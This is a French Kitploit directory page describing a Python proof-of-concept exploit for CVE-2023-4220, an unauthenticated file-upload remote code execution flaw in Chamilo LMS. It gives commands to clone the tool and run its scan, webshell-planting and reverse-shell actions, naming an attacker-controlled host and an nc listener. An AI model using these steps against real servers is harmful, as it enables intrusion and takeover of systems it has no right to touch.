Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-4220-Chamilo-LMS — Ceci est un script écrit en Python qui permet l'exploitation de la faille de sécurité du logiciel LMS Chamilo décrite dans CVE-2023-4220 | Kitploit
Outils/GitHubGitHub/rai2en/cve-2023-4220-chamilo-lms
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à Distance
GitHubrai2en/cve-2023-4220-chamilo-lms

CVE-2023-4220-Chamilo-LMS

Ceci est un script écrit en Python qui permet l'exploitation de la faille de sécurité du logiciel LMS Chamilo décrite dans CVE-2023-4220

Voir le dépôt
52il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Chamilo LMS – Preuve de concept (PoC) d'exécution de code à distance (RCE) par téléchargement de fichier volumineux non authentifié

Ce script permet d'exploiter la faille de sécurité du logiciel Chamilo LMS décrite dans CVE-2023-4220. Le système est vulnérable dans les versions antérieures à 1.11.24.

Utilisation

Clonez le dépôt sur votre machine et installez les dépendances avec pip (il est recommandé d'utiliser virtualenv pour créer un environnement afin d'isoler ces installations des installations globales)

root@kitploit:~
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt

Le script nécessite l'URL cible avec le chemin racine de Chamilo (comme http://example.com/chamilo, http://example.com ou http://chamilo.example.com) et une action à effectuer (trois sont disponibles : scan, webshell et revshell).

Scan

Cette action vérifie si la cible est vulnérable en essayant d'accéder au point de terminaison /main/inc/lib/javascript/bigupload/files/.

root@kitploit:~
python3 main.py -u http://example.com/chamilo -a scan

scan-demo

Webshell

Cette action crée un fichier webshell PHP dans le point de terminaison vulnérable.

root@kitploit:~
python3 main.py -u http://example.com/chamilo -a webshell

webshell-demo

Revshell

Cette action crée et exécute un fichier bash reverse shell. Pour ce faire, un webshell sera d'abord créé en utilisant la même méthode que l'action précédente. Ensuite, quelques commandes seront exécutées pour créer et exécuter le fichier bash. Assurez-vous d'écouter sur le port que vous avez défini avec nc ou tout autre utilitaire pour obtenir la connexion inverse. De plus, l'hôte peut être une adresse IPv4 interne/publique valide (comme 172.17.1.4 ou 186.227.4.31) ou le domaine que vous avez enregistré (comme evil-vps.domainreg.net)

root@kitploit:~
python3 main.py -u http://example.com/chamilo -a revshell

revshell-demo

Note : Bientôt, j'ajouterai une option de charge utile Windows pour les hôtes Windows

Références

(CVE-2023-4220) Chamilo LMS Unauthenticated Big Upload File Remote Code Execution

Télécharger l’outil